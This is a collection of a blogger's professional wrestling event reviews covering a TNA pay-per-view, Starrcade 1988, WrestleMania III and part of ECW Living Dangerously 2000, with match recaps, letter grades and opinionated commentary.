This is ANOTHER #1 contenders match for Anderson after he won one already. They stare it down to start and it’s dueling chant time with Anderson’s being louder. Technical stuff goes on and it’s a standoff. More technical stuff follows as I think this is supposed to be an epic match. They botch a leapfrog spot with Van Dam taking a head to the balls. This show is almost a comedy of errors at this point.

Rolling Thunder to Anderson as I just want this match to end at this point. Spinning legdrop to the railing misses Anderson and the leg hits the railing to give Anderson control. Anderson works the leg and it’s all basic stuff here. Mic Check is blocked and Rolling Thunder doesn’t work either. Van Dam gets a suplex to put both guys down.

Both guys go down again and this is just dragging like every other match so far. Van Dam goes shoulder first into the post and they ram heads to go down AGAIN. Now they head to the floor off a cross body and they lay around AGAIN. Anderson gets the Mic Check on the stage and Van Dam is more of less dead.

And it’s a double count out. The fans boo the HECK out of that and I’d be with them. This somehow was 15 minutes long. Where in the world was the 15 minutes? Oh and look: MORE multi-man title matches. The fans chant to restart it and half chant no. Now it’s a 5 more minutes chant. Get on with it already.

Rating: F. This was just boring and the ending hurt it even more. They have zero chemistry together and this show has sucked so hard so far that this made it even worse. It’s obvious they’re doing a multi-man match at Lockdown but that isn’t helping anything as far as tonight goes. This is one of the worst PPVs I’ve seen in a very long time which is saying a lot when it comes to TNA.

We recap Sting winning the title on 3/3. He was a surprise, read the other reviews for the details.

Hardy says that he was treated unfairly and he’ll win tonight to bring everyone back to reality.

Sting talks about getting into the business and it’s music video time. I’ve heard this interview before. Probably was on Impact or something. Yeah I think it was. He was at home and felt a burn. Call a doctor dude.

TNA World Title: Jeff Hardy vs. Sting

 

It’s 10:30 and Jeff is wasting time getting to the ring. Before the match Bischoff comes out to waste MORE time. He makes it No DQ which somehow takes like two minutes. Sting drops him and the Scorpion Death Drop ends this in less than a minute. That was their first contact of the “match.” I kid you not. Are they serious?

We get a highlight video to fill in 6 minutes to end the show.

Overall Rating: F-. The show has been over for 15 minutes now (final bell rang at 10:38) and I don’t know what to say. Early word is that Hardy was in no condition to perform. If that’s the case, TNA’s creative and management team all should refund the fan’s money and resign. You had 150 minutes to come up with ANYTHING else to put out there and this is what they gave us. Put Bully Freaking Ray out there and it’s a better than this.

I’m still not sure what to think about what just happened but this is awful even by TNA standards. It’s a big slap in the face to the people that bought this show and they’ve cost themselves dearly. I was going to go to Lockdown and now I have no interest in going at all. Absolutely awful ending and a disgrace all around. Jeff being high or not, you do not let this happen. Period.

As for the rest of the show, it was bad. There was nothing at all of note worth seeing and that makes the ending even worse. This show didn’t need to happen at the end of the day. It’s a speed bump on the road to Lockdown and nothing was advanced here. Now, because of this, TNA has another fire to put out. I have no idea where they go from here but it’s nowhere good.

Results

Tommy Dreamer b. Bully Ray – 3D with help from D-Von

Rosita/Sarita b. Winter/Angelina Love – Rollup to Winter

Hernandez b. Matt Morgan – Hernandez squirted blood on Morgan

Kazarian b. Max Buck, Jeremy Buck and Robbie E – Kazarian pulled down the Title

Beer Money b. Ink Inc – DWI to Moore

AJ Styles b. Matt Hardy – Spiral Tap

Mr. Anderson vs. Rob Van Dam went to a double countout

Sting b. Jeff Hardy – Scorpion Death Drop

Remember to follow me on Twitter @kbreviews




Starrcade 1988: Luger And Flair Have A Masterpiece And An Amazing Feel Good Moment

Starrcade 1988
Date: December 26, 1988
Location: Norfolk Scope, Norfolk, Virginia
Attendance: 10,000
Commentators: Jim Ross, Bob Caudle

We’re firmly in the Horsemen era here with the main event being Luger vs. Flair for the title in what is considered their best match of their seemingly never ending series. There’s an interesting story to that which I’ll get to at the end of the review. Since this is NWA time there are only seven matches and 6 of them get over ten minutes and 5 of them get over 15 minutes.

That was one thing you could count on in this era: nice long matches. The only other thing you need to know about here is the Varsity Club, a group of guys that were “amateur stars” (most of them were but not all of them. Picture a Jack Swagger stable) who are the upper midcard heel group. They’re around a lot here. Let’s get to it.

Kevin Sullivan and Mike Rotunda (members of the Varsity Club) say they’ll beat Rick Steiner (former member of the Club) and Rotunda will keep the TV Title. Rotunda cannot talk that well. Oh this is actually part of the preshow.

Steiner apparently got electrocuted and can’t remember how to talk that well. Yeah this was a weird time. He has a face painted on his hand named Alex. Ok every gimmick can’t be a Horseman. This show is on a Monday actually, but the Sunday was Christmas Day so the thinking is correct here I guess.

Standing highlight package of the matches tonight opens us up, with the highlight being Dusty, who had his eye stabbed by the heel turning Road Warriors, says “make sure you take both eyes, both limbs, both hearts, both ears etc.” See an issue there?

Tony Schiavone is the host and has a true mustache going on. Magnum TA is with him and isn’t even 30 years old at this point. Such a shame.

US Tag Titles: Varsity Club vs. Fantastics

Kevin Sullivan and Steve Williams here. Williams is an absolute monster who is far more famous in Japan than he is here. Sullivan is listed as being from Singapore. Ok then. Rogers and Fulton (the Fantastics) are an incredibly underrated team as this era was dominated by teams like the Road Warriors, the Horsemen, the Rock N Roll Express and the Midnight Express. This is a shame as they really were good.

Sullivan and Fulton start us off and Fulton hits a Thesz Press off the top for a fast two. Williams comes in and things slow way down. And Jason Hervey is here to just tick me off. Why did he have to ALWAYS get some quick camera time? The champions use their speed and tandem offense to work on Williams’ arm. Nice double monkey flip by the champions but Fulton gets caught in a gorilla press where Williams literally throws Fulton in the air about 6 times in a row. He had SCARY power.

Williams is 27 here which is scary. Fulton gets a headlock on him and Williams is just like screw that and hits a suplex to counter. He’s almost the Brock Lesnar of his era actually. Sullivan comes back in to give the champions a chance. Williams comes back in and just ends the Fantastics before tagging back out. Ok so he didn’t as Sullivan was just being a jerk.

Rogers gets a sunset flip for two on Williams and that’s about it. Back to Fulton who locks in a big old bearhug that the heel has to resort to the thumb to the eye to get out of. Both guys tag but the face one isn’t seen. Who cares about that though? We go from five minutes gone by to ten in less than 4 minutes so I’m betting on a clip in there somewhere. Actually it’s been about 10 minutes since the match started so maybe the five minute call was late.

Sullivan misses something from the top and Williams is tagged and just MAULS Rogers. This guy is awesome. The heels are tagging incredibly fast in this match. In about 12 minutes we’ve seen at least 8 or 9 tags from them so far which is a tonw hen you think about it. It’s also a ton when you don’t think about it but you get what I mean. Rogers gets a dropkick to send Williams reeling but Sullivan stops the tag.

A pair of double stomps to the ribs of Rogers gets two. Rogers jumps over Sullivan to get the tag to Fulton. We hit fifteen minutes (the ring announcer says this and I figure it helps give an idea of how much we’ve gotten through) and the champions both get sleepers on. Fulton goes for the Thesz Press but Williams catches him in a Hot Shot for the pin and the titles.

Rating: B-. Good match here with Williams being shown off as an absolute ANIMAL. The Fantastics, who were a very good if not great tag team had nothing to stop him with and lost the titles because of him. Sullivan might as well have been a ham and bacon sandwich on the side here as it was so much a one man team out there. Nice opener and the fans seemed into it.

Tony and Magnum run down the rest of the card and we get their predictions.

Midnight Express vs. Midnight Express

No that’s not a typo. Over the years there have been a LOT of people in the Midnight Express but originally they were a tag team comprised of Randy Rose and Dennis Condrey. This evolved into a team of Condrey and Bobby Eaton. In one of the strangest stories in wrestling history, Condrey disappeared for a year. I don’t mean storyline disappeared. I mean no one from his boss to his friends to his wife knew where he was for 12 months. Then one day he popped up in the AWA and reformed the original Midnight Express with Rose. To this day he’s never explained what happened.

Anyway, Eaton had gotten a new partner, Stan Lane, and made the new Midnight Express. Rose and Condrey came to the NWA to jump the new Express during a squash. Their manager: Paul E. Dangerously (Heyman). The new team is managed by longtime manager Jim Cornette and amazingly are faces which is very rare for them. They jump the originals (remember: Rose and Condrey are the originals and Lane and Eaton are the new ones in case you get confused) and clear the ring to start us off. This should be awesome.

Cornette wants Dangerously and of course grabs the mic to say he wants him. Oh hey let’s introduce the teams. Both teams are billed from the Dark Side which is kind of awesome. The new guys clear the ring one more time just to get their point across. Cornette is WAY fired up here. He points at Heyman and dances like a chicken. The fans are eating this up to put it mildly.

Rose and Lane start us off. Rose goes to the floor and Cornette BLASTS him with the tennis racket. He’s absolutely stealing the show here. Teddy Long is the referee and has hair. We FINALLY get the regular stuff going and it’s all new guys. Cornette pops Rose with the racket one more time and the fans are eating it up. Heyman, in his pink shirt, is losing his mind.

Lane comes in and throws his kicks which were always awesome. The originals haven’t been on offense whatsoever here. Condrey gets in like four punches and then gets his head kicked some more. Rose gets in a bit of offense and so much for that. Even jobbers get better offense in than this. Caudle is having audio difficulties. The heels FINALLY take over on Eaton.

Dangerously sneaks in a shot and Cornette SPRINTS after him in a funny bit. We hit the chinlock and get a Bear Bryant reference of all things. Heel dominance ensues for awhile as this is pure 80s formula stuff. While that sounds bad, given the people in there, as in the teams that partially invented it, this is solid stuff. Rocket Launcher misses and Cornette is “tapping like a drunk man”. We hit fifteen minutes and Lane gets the hot tag to a nice pop.

Enziguri puts Condrey down but Heyman gets a shot with his phone. Cornette FINALLY gets his hands on Heyman and lands a decent punch on him. Condrey goes for the cover but Long sees the phone and won’t count it. Lane gets behind Rose and Eaton hits a clothesline (Ross shouts DOUBLE GOOZLE, which is a nickname for a chokeslam and makes no sense at all) to send Rose over Lane for the pin.

Rating: B. More solid tag stuff here with the fans loving all of it. This feud would continue until Condrey just left and Rose was fired also because no one cared about him without Condrey. This was a solid match as expected with classic 80s tag wrestling at its finest. Why would I have expected anything different? Fun stuff and a very good match.

Post match the originals beat up everyone, mainly Cornette. Eaton gets up and gets the racket for the save. Crowd was INSANE for this whole thing.

Magnum talks to the new US Champions and points out the obvious: Williams made the difference. The Club complains about Steiner for later.

Russian Assassins vs. Junkyard Dog/Ivan Koloff

Well you knew it couldn’t be good the whole time. Also notice the INSANE emphasis on tag wrestling with a total of four out of seven matches here being tag matches. The Assassins are just numbered 1 and 2 with 2 being ECW’s Jack Victory. If the non Russians win then Paul Jones, their manager, has to leave the NWA. Koloff is only famous for stopping Sammartino’s legendary world title reign that lasted over seven years.

No real way to tell the Assassins apart so I’m not going to really try to. Dog with a cradle gets zero to start. Ah ok that’s #1 in there. #2 appears to be fatter. That helps a little. Ah and the other stipulation is that the Russians have to unmask. Is there any benefit for them winning here? Koloff sends #2 in and grabs him by the throat to take him down in what could be called the chokeslam’s half uncle by marriage once removed I guess.

Clothesline from the middle rope puts #2 down. Ah apparently that was a Russian Sickle. How could I be so stupid? He curled his arm up slightly. The Dog comes in to cheers so loud you can barely understand the audio. For the life of me I’ve never gotten his appeal. The heels take over on JYD and one of them kicks him in his boneyard. Some double team move misses and both guys are down.

Ivan vs. #1 now. Jones is on the apron and the heels are slammed into each other. Big old brawl now that is boring. There’s the Sickle again which of course is a clothesline but one of the Assassins puts something in his mask and rams his head into Ivan’s for the pin.

Rating: D. Well at least it was short. Total nothing match here with nothing special about it. Other than the JYD’s hot tag there was nothing the crowd got into at all. With that many stipulations in there it was very unlikely for the faces to win which was expected too. This more or less went nowhere at all and had one good thing going for it: it’s the match on the show that didn’t break 10 minutes.

Jim and Bob talk about the show so far for any viewers that missed the first third of the show I suppose.

TV Title: Mike Rotunda vs. Rick Steiner

This is a big old grudge match. Sullivan is in the cage above the ring. Rotunda has held the title for about a year now and is considered to be unbeatable in 20 minutes, which is the max a TV Title match can go. Steiner was thrown out of the Varsity Club where he was more or less considered too stupid to mean anything. They treated him as their lackey for months until he went nuts and hit one of the best belly to belly suplexes ever to just kill Rotunda. He would bring in some dude named Scott to help him in this war. Pretty sure they never went anywhere.

They slug it out early on and Rotunda is out of his game there so he hits the floor. Steiner goes off with some basic wrestling moves and Rotunda has nothing. Long headlock sequence follows with Rick dominating. Rick has dedicated this match to his mother. I think we know what’s coming here. All Steiner so far as Rotunda runs and hides. He keeps pulling Rick’s hair to no avail. We go to the mat and once again Rick controls.

Rick bites his tights in a hammerlock just to be funny I guess. The next PPV is in February. What’s it called? Where is it? Who cares apparently. Rotunda FINALLY gets a suplex to….never mind he’s back on defense already. We’re over seven minutes into this and Rotunda has hit a total of a suplex, a headlock and a drop toehold. He hits the floor to stall and nothing of note is going on here.

The crowd thinks Syracuse (Rotunda’s school) sucks. Steiner goes for a big old clothesline but hits the floor at the ten minute mark. Rotunda gets a long chinlock and uses the ropes to cheat, drawing solid heat. Little things like those can go a long way. And we have no commentary now. After a brief Steiner comeback we hit that chinlock again. Sunset flip a few seconds later gets two.

We hit the fifteen minute mark meaning there are five to go, drawing loud boos. Rick starts the comeback with a Steinerline. Ah there’s Ross again. Steiner beats the heck out of Rotunda and here comes Steve Williams. Belly to belly connects but Williams rings the bell. Teddy Long thinks the time is up but here comes senior referee Tommy Young because Rotunda has done this to steal a win before.

The referees talk and Sullivan is let down. He argues with Young and Rotunda punches Steiner. Steiner shoves Rotunda into Sullivan and they bang heads. Steiner jumps on Rotunda and both referees count three to absolutely blow the roof off the place. This would be like Virgil beating DiBiase as Steiner FINALLY shuts up Rotunda and beats him at his own game after being told he was too stupid to do anything right. Steiner’s celebration is awesome beyond belief. Look it up as it’s incredible.

Rating: C-. Match was pretty meh but the ending is just straight up awesome. Steiner would lose the title back in February but this was the moment that EVERYONE wanted to see and they delivered perfectly on it as Steiner had him twice and actually got the pin on the second time. Just an awesome moment that is reminiscent of Foley winning the title. I loved this and it worked very well.

Tony and Magnum talk some more.

US Title: Barry Windham vs. Bam Bam Bigelow

Windham is champion and a Horseman. Bigelow had left WWF shortly after Mania so he’s wildly popular here. Bigelow shoves him around to start and is just MAD over. He gets Windham in a Fireman’s Carry and drops to his knees for a modified gutbuster. This is back when Bigelow could still go very well and Windham was one of the best in the world so this is far better than it sounds.

We get into a power match and Bigelow starts no selling shots. BIG old gorilla press and Windham is rocked. The fans are really into Bigelow here, even at a rate that surprises me. He gets a dropkick that sends Windham to the floor, making JJ want a DQ. See that’s what a manager is supposed to do. He did something so simple like that but it got heat on both him and his man and at the same time didn’t take anything away from the match because Barry was still down. It also keeps the fans from being taken out of the match by giving them a little something to tide them over. It’s so simple yet so effective.

Windham makes a small comeback and thrown Bigelow to the floor, hurting the big man’s knee. We hit the ten minute mark and it’s a back and forth match. Bigelow hits the slingshot splash, one of his finishers, and lets Windham up. He goes up top and misses the splash completely. Windham takes his head off with a BIG old lariat and Bigelow is in trouble.

Very nice belly to back suplex takes Bigelow down again. Dillon wants the Claw (Windham’s finisher) and there it is. After that is broken by the ropes we get a slam by the champion at the 15 minute mark. Windham misses a top rope elbow and the fans are WAY into this. Bigelow makes his big overblown comeback with the big wild swings. Bigelow goes for a back drop over the top but his knee gives out and we’re both on the floor. Windham sends him into the post and it’s a countout.

Rating: B-. FAR better than I expected here with a white hot crowd. Bigelow could go back in the day and this was no exception. This was a solid match and the countout finish is probably the only thing holding it down. The match isn’t a classic or anything but it’s a lot of fun with Bigelow being over dramatic about everything (in a good way mind you) and Windham being himself. Solid and fun match.

Steiner talks about winning the TV Title and is very confused about a lot of things. He was still a comedy character at the time but a very lovable one. Magnum says a lot of people are going to be coming after Steiner for the title and Rick seems shocked by this idea. After almost freaking out over the concept that people will be coming after his title, Rick calms down instantly and says “eh I’ll beat them.” Much funnier than it sounds.

World Tag Titles: Sting/Dusty Rhodes vs. Road Warriors

BIG blood feud here. The Warriors turned heel and destroyed both of these guys recently (prompting Dusty to botch a blade job and nearly cut his head off, getting fired) before winning the tag titles for the first time ever in a glorified squash over the Midnight Express. The problem was they were so insanely popular and such tough guys that they were turned face again anyway, much like Orton recently.

It’s weird seeing no name graphics for these guys. Something you just get used to in the modern product I guess. Ok so the Road Warriors get them but not the challengers. Ok then. They’re called the Legion of Doom: the Road Warriors here, which is a common thing back in the 80s. Sting and Animal start us off. Dusty is allegedly a power guy. What power? The power of hunger? Sting goes after Animal’s arm and Dusty gets a nice pop when he comes in.

Ah the soon to be named Chi-Town Rumble has a date now. Rhodes’ fat is a sight to behold, although certainly not in a positive way. Hawk in now and he just beats Sting up to a solid pop, doing what we would call stomping a mudhole. It’s weird seeing Sting treated like a jobber like this. A gorilla press into a hot shot is no sold which is weird indeed but it sets up a HUGE dive from the top to the aisle onto Animal. That was SWEET.

Five minutes in now. Dusty of course, rather than going after the arm that Sting spent three minutes working on, goes for the knee because he’s a fat slob that WILL use his stupid figure four. Test of strength between Hawk and Dusty but Dusty suckers him in and of course, goes for the figure four. Hawk wants the eye that he almost put out of Dusty because he’s EVIL.

Dusty starts his fat man dancing stuff as I wonder what Dashing Cody Rhodes would think of his fatness. Dusty goes for a “dropkick” and does indeed drop when he tries it. Dusty plays Ricky Morton in a weird bit and we get a sleeper. Hot tag to Sting and house is rapidly cleaned. Scorpion on Animal but Hawk kicks him in the head. He sends Sting over the top and I can see the finish coming. Top rope cross body by Sting but Ellering pulls the referee out for the DQ.

Rating: C-. Pretty boring match here but the crowd helped it out a lot. These were four very popular guys and that aspect carried the match. Dusty was gone soon thereafter due to his initial booking of the main event and the blade job, sending him into polka dot world. This was a basic super team tag match that didn’t go anywhere but I’ve seen far worse ones.

NWA World Title: Ric Flair vs. Lex Luger

If Flair gets disqualified he loses the title. Ok before I get into this match, here’s the original booking for this show. The idea was to have the Varsity Club jump Luger before the show and injure him. Luger would give his title shot to Rick Steiner of all people, because you know, wrestlers can decide title shots at the biggest show of the year. Steiner would proceed to beat Flair to win the world title IN FIVE MINUTES. Imagine say Eric Young beating AJ Styles in five minutes for the world title completely clean. This match goes over 30 minutes and is borderline classic, so it’s pretty clear that Flair, the new booker, got it right. His next idea was to sign this guy named Steamboat. I think you know the rest.

Luger is the insanely popular young gun and Flair is the evil veteran. You can’t beat that really. It didn’t hurt that other than Sting, Luger might have had the best chemistry with Flair in big matches. Luger has dropped a few pounds for speed and endurance. We get a WOO to start and Flair plays mind games. Flair starts the chops and Luger just drills him with a clothesline to send him to the floor.

Lou Thesz is here. In a surprising spot, Luger gets knocked down by a shoulder block. Gorilla press sends Flair to the floor and another one has Flair in trouble. Luger works on the back which makes sense here as his finisher is a backbreaker. Five minutes in and Luger controls firmly. Luger works on the arm and is apparently hard as a rock at this point for some reason. Chop is no sold and Flair runs.

Flair Flop as Luger has shifted to the arm. He’s working on it for awhile at least though so I can’t complain as much. Flair taps but it doesn’t mean anything for about another 5 or 6 years. The eternally awesome thumb to the eye takes Luger down though and Flair goes into his routine. The chops just tick Luger off though and Luger chases him to the floor where he works on the arm by wrapping it around the railing.

Ten minute mark now. Delayed vertical suplex and Flair is rocked. Luger’s big elbow misses though as it tended to do every single time. We hit the floor with Flair in control for a change. Flair and Young (referee) get into it in the ring which was always a semi-feud which was rather cool. Fifteen minutes in and Flair is finally waking up a bit. Big knee drop “hits” Luger. That move was one of the moves that clearly missed more often than ever before.

The chops tick Luger off once again and here we go again. Flair keeps chopping like an idiot and gets caught in a sleeper to a ROAR. Flair escapes with a belly to back and goes up top. Rather than your typical slam off there he gets a suplex instead for two. And now Luger puts Flair in the figure four just to mess with his mind even though he’s worked on Flair arm and back the whole time so this is really just to be a jerk. We hit 20 minutes.

Luger accidentally hits Young and Flair fires him over the top which should give Luger the title. Luger comes back with a cross body of all things off the top for two because JJ had the referee. Ten punches in the corner and Luger takes over. Another suplex and Luger calls for the Rack. More softening up first and NOW we set for the Rack. JJ distracts the referee though and Flair gets a chair shot into the knee of Luger.

Flair goes for the knee and we get to see some of Luger’s awesome selling. This is the part where both guys are basically awesome. Twenty five minutes in now. Figure Four goes on (the wrong leg of course as was Flair’s trademark) and Luger begins his best orgasm impression. The fans get way behind Luger which is saying a lot as we’re in Flair country here. Luger Hulks Up and shows off his arms which are supposed to scare Flair I guess.

Reversal and the hold is broken. More knee work and Flair goes up again. There’s the slam and Flair is rocked again. It’s Superman comeback time and here comes Luger. Sunset flip gets two. Luger’s selling of the knee is awesome here. We hit the thirty minute mark and a clothesline gets two for the challenger. Crisp powerslam hits and Luger calls for the Rack. There is finally is but Luger’s knee buckles underneath him and Flair falls on top, throwing his feet on the rope for the pin.

Rating: A. This was a GREAT match with both guys controlling for long periods of time. These two were always good for a very solid match and this was no exception. Flair was great here as the heel that simply would not lose while Luger played the Superman role perfectly. The knee being the deciding factor in the end was a very nice touch as no matter how hard he tried Luger just couldn’t get to the finish line. Excellent match with a very good story being told and well worthy of a major show’s main event.

The announcers all talk about the match and how awesome Flair is. They talk about how great Luger is and how great he could wind up being and he’s right. We can hear the announcer talking about a Bunkhouse Stampede Battle Royal which was a dark match won by Junkyard Dog.

Magnum is with Flair. I wonder if he’s thinking that belt should be mine. Flair goes on a long rant about how awesome he is but is drowned out by the announcement for the battle royal. That was Luger’s LAST shot of course.

Tony talks about how great the NWA is as we fill in time. Literally he says stuff and then Ross and Caudle just say how great the company is. A highlight package ends the show.

Overall Rating: B+. Rather good show here with everything working rather well. There’s only about one bad match on the whole show and it’s like 7 minutes long. The main event is well worth seeing and the crowd is a traditional white hot NWA 80s crowd. This is completely different from the stuff you would be seeing in WWF at the time and really does work as an alternative to it. I had a good time with this show, but unfortunately it’s the last good Starrcade in the traditional sense for a LONG time.

 

Remember to follow me on Twitter @kbreviews

 




Wrestlemania Count-Up – Wrestlemania III: The Biggest Match Ever On The Biggest Show Ever

Wrestlemania III
Date: March 29, 1987
Location: Pontiac Silverdome, Pontiac, Michigan
Attendance: 93,173
Commentators: Gorilla Monsoon, Jesse Ventura

Aretha Franklin sings America the Beautiful.

Gorilla and Jesse are with celebrities Bob Uecker and Mary Hart.

Can-Am Connection vs. Don Muraco/Bob Orton

Bob gets hit from one corner to the other until Zenk takes him down with an armbar. All Connection so far. They trade full nelsons and Muraco hits Orton by mistake for two. Bob gets his arm cranked on a bit until FINALLY making the tag out to Muraco. The bad luck continues for the heels as Don is slammed down and has his arm worked on as well.

We recap Hercules vs. Billy Jack Haynes which is the battle of the full nelson.

Heenan and Hercules say about what you would expect them to say.

Hercules vs. Billy Jack Haynes

This is power vs. power so expect some pretty weak chemistry. Hebner tries to get in between them in the corner which is more than a referee should do. Haynes hits a press slam but Hercules bails to the corner to avoid the full nelson. Hercules comes back with a big old clothesline and both guys are down already. A backdrop puts Haynes down and Herc pounds on the back a bit. This is very slow paced compared to the opener.

Post match Hercules blasts Haynes with his chain a few times and busts him open.

The other team says the exact opposite.

Hillbilly Jim/Little Beaver/Haiti Kid vs. King Kong Bundy/Lord Littlebrook/Little Tokyo

Even the heel midgets turn on Bundy for what he did. Jim carries out Little Beaver ala Superman and Supergirl.

Harley Race vs. Junkyard Dog

Dog bows to Race but then blasts him with a chair and steals the robe.

Dream Team vs. Rougeau Brothers

Rating: C-. This was all angle rather than the match. The Rougeaus were a talented team and looked solid out there while the Dream Team looked like a relic of the past. Thankfully this would be the end for them as Bravo would replace Beefcake immediately, although the New Dream Team never went anywhere.

Valentine, Bravo and Johnny V (short for Valentine but shortened to avoid confusion) leave Beefcake behind.

Roddy Piper vs. Adrian Adonis

Piper comes right back by sending Adrian into the corner for Flair Flip to the floor. Both Adonis and Hart get pulled back in and Piper rams them together to send them back outside. Back in again and Piper throws Hart off the top and onto Adonis but Jimmy FINALLY gets something right by tripping Roddy down.

Post match Adonis gets his hair cut and punches a mirror. Roddy gets his big sendoff.

Jesse is introduced to the crowd before the next match to annoy Gorilla.

Hart Foundation/Danny Davis vs. British Bulldogs/Tito Santana

Butch Reed vs. Koko B. Ware

Tito runs in and beats up Slick, ripping off his “expensive” suit. A double dropkick sends Reed to the floor.


Steamboat says this is their destiny and the Dragon is going to scorch Savage’s back. This promo still gives me chills.

Intercontinental Title: Randy Savage vs. Ricky Steamboat

Back in and Savage gets in his first shot before sending Ricky into the buckle. Steamboat immediately comes back by grabbing the wrist and lifting Savage into the air. Savage comes back with an elbow to the face before sending Steamboat over the top and out to the floor. Randy starts going after the throat but has to stop to try to get his left arm working again. Steamboat sends him into the buckle and chops away, sending Savage into the ropes.

Honky Tonk Man vs. Jake Roberts

Rating: C. You could see the Honky Tonk Man character coming on here as Jake was way better but got cheated at the end. Honky would ride that one idea for the next year and a half, drawing WAY more money and heat than he had any right to earn. Jake would feud with various heels for the next few months while being one of the many challengers to chase Honky. He finally got with Rick Rude for an awesome string of matches.

Post match Honky is chased off and Jimmy gets covered by Damien the snake.

Nikolai Volkoff/Iron Sheik vs. Killer Bees

WWF World Title: Andre the Giant vs. Hulk Hogan

Hulk fights back up with some forearms into the head. A running elbow staggers the Giant and Hogan sends him head first into the buckle ten times, only to charge into a boot to slow things right back down again. We hit the bearhug and Hogan is in trouble. This lasts for a LONG while until Hogan punches his way out of it, possibly hurting his hand in the process. Hulk rams into him a few times but charges into a chop to put Hogan down again. A boot to the ribs knocks Hulk to the floor but Andre headbutts the post. Hogan tries a piledriver of all things but is easily backdropped down.

Hogan poses for a long time as Heenan leaves with his head in his hands, wondering where it all went wrong.

Ratings Comparison

Can-Am Connection vs. Don Muraco/Bob Orton

Original: B+

Redo: B-

Billy Jack Haynes vs. Hercules

Original: C-

Redo: D+

Hillbilly Jim/Haiti Kid/Little Beaver vs. King Kong Bundy/Little Tokyo/Lord Littlebrook

Original: F

Redo: D+

Harley Race vs. Junkyard Dog

Original: D+

Redo: D

Dream Team vs. Rougeau Brothers

Original: D+

Redo: C-

Roddy Piper vs. Adrian Adonis

Original: C+

Redo: C+

Hart Foundation/Danny Davis vs. Tito Santana/British Bulldogs

Original: C

Redo: C-

Butch Reed vs. Koko B. Ware

Original: N/A

Redo: D

Ricky Steamboat vs. Randy Savage

Original: A+

Redo: A+

Jake Roberts vs. Honky Tonk Man

Original: C

Redo: C

Killer Bees vs. Iron Sheik/Nikolai Volkoff

Original: D

Redo: C-

Hulk Hogan vs. Andre the Giant

Original: A

Redo: B

Overall Rating

Original: B+

Redo: A+

It still holds up.

http://kbwrestlingreviews.com/2012/03/07/wrestlemania-count-up-3-this-show-is-required-viewing-for-all-fans/

Remember to follow me on Twitter @kbreviews




On This Day: March 12, 2000 – Living Dangerously 2000: Two ECW Shows In A Month Is Dangerous Enough

Living Dangerously 2000
Date: March 12, 2000
Location: O’Neil Center, Danbury, Connecticut
Attendance: 4,000
Commentators: Joey Styles, Cyrus

The main story here is that the TV Title is vacant. Why is it vacant you ask? That would be because no one holds it at the moment. Tonight is about getting it some tender loving care. We’re trying to find someone that will curl up with it and give it the affection that it deserves.  For the less creepy version, RVD broke his leg/ankle so we’re having a TV Title tournament here. Other than that, this is the scaffold show with New Jack and Grimes, so expect a decent sized rant on that. Let’s get to it.

Sinister Minister (Abyss’ former manager) talks about the seven deadly sins of ECW. There’s a great long joke in there but I’ll spare you from it. Oh I forgot there’s a new massive heel stable: the Network, which is more or less a parody of TNN whining at Heyman over what they want. One funny line here is him getting to Wrath and says been there and done that (he managed a guy named Wrath in WCW. It didn’t go well.)

We hear Joey warming up the crowd and telling them to cheer. I know everyone does it, but come on now. Gertner says a few decent jokes but here’s Cyrus. He says excuse me a lot. Someone sue Vickie for trademark infringement. Are we ever going to get like, a fight between these two? Gertner just stands there and takes it of course like an idiot. Every time they say TNN I expect them to say TNA. Actually Gertner goes after him but Cyrus winds up hitting him when he’s not looking. Joey makes the save which is just odd.

Hit the theme song.

And here’s Steve Corino dressed like a cowboy. While he’s talking the audio messes up and we hear part of a Lou E. Dangerously promo. Paul…come on. Corino runs the fans down and in particular Sandman’s wife who is in the front row. Apparently she’s more of a man chase than Missy Hyatt and for you WCW fans, you get the idea.

 

Allegedly the Raven thing wasn’t an angle according to Corino. Dang his wife isn’t that attractive. She slaps him and he throws her in the ring. That girl wasn’t afraid to mix it up. There’s a table in the corner which I’m sure someone will go through. Sandman comes in to save her. And he gets a piledriver. His wife is gored through the table.

 

Not that we see it or anything but she’s standing in front of it, the camera jumps to the crowd, and we hear it being broken and they Rhyno is on her and the table is broken. The production values here are awful. Sandman gets his wife out of the ring and is likely going with her to the hospital.

 

This of course means he’s out of his tournament match, which is another bait and switch by Heyman but whatever. Corino now calls out Dusty Rhodes of all people. Oh that’s right they’re feuding. Also pay no attention to Dusty being everything ECW was supposed to be against.

Steve Corino vs. Dusty Rhodes

Should be noted the bell hasn’t rung yet and we’re 20 minutes into the PPV. This is a bullrope match too and it’s the pinning version thank goodness. There’s the bell at 20:40 of the PPV. Apparently Corino and Jack Victory beat up this referee at a house show. Dusty hits Corino with the cowbell. Know what I think we need now? NEEDS MORE COWBELL! Sorry I had to do that at least once.

 

And we’re already in the crowd. Steve is bleeding. I know he’s old school, but dang he could give Flair a run for his money in bleeding. Victory helps and it’s all about the cowbell. Is this a Christopher Walken special or something? This has been more in the crowd than in the ring of course. Dusty is bleeding now. Corino bites the cut over Dusty’s eye which I think is bleeding barbecue sauce instead of blood. And now it’s all about the blood.

 

Also, WHO CAME UP WITH THE STUPID COWBELL IDEA? I know it’s Dusty’s signature thing, but man I can’t stand this thing. Dusty is dominating by the way. Yeah the old guy that is in his mid fifties and hasn’t been a regular competitor in about ten years is beating a guy that is being groomed to be the top heel in the company.

 

Sure why not. Both guys have bells now. The referee helps Dusty tape a cowbell to the top of Corino’s head. And there’s a chair to the bell to the head. A Bionic Elbow ends it. Yes, the fat man goes over. I hate this company.

Rating: D. This was just stupid. Seriously, why is Dusty going over here? I know Corino isn’t as great as he’s made out to be, but there is ZERO justification here other than Dusty’s ego or position in the past or whatever. Why in the world would he need this win for a run in the company of all of four months? Just a bad match too with far too much cowbell (screw you Walken).

Sandman won’t be in the tournament tonight. Shocking.

Guido says he’ll win the title tonight.

Dangerous Alliance vs. Danny Doring/Roadkill

The Alliance is CW Anderson and Bill Willes. Yeah I don’t know the second guy either. The announcer looks like a mean gerbil apparently. Lou E. Dangerously can do a great Heyman impression but that’s about it. He says…nothing yet since the people are all booing him. Apparently the PPV is named after him. Can we get on with this? The fans won’t shut up to let him do his thing.

 

He does it and I don’t care at all. The Dangerous Alliance thing was at least a good idea. Elektra was hot if nothing else and Roadkill was always a funny gimmick for some reason. The Alliance is supposed to be a throwback to the original Dangerous Alliance back in 91-92 which had perhaps more pure talent than any other stable ever, and that’s including the Horsemen at their best. This Billy guy is worthless. He’s supposed to be the Bobby Eaton guy of this team? That’s very funny.

 

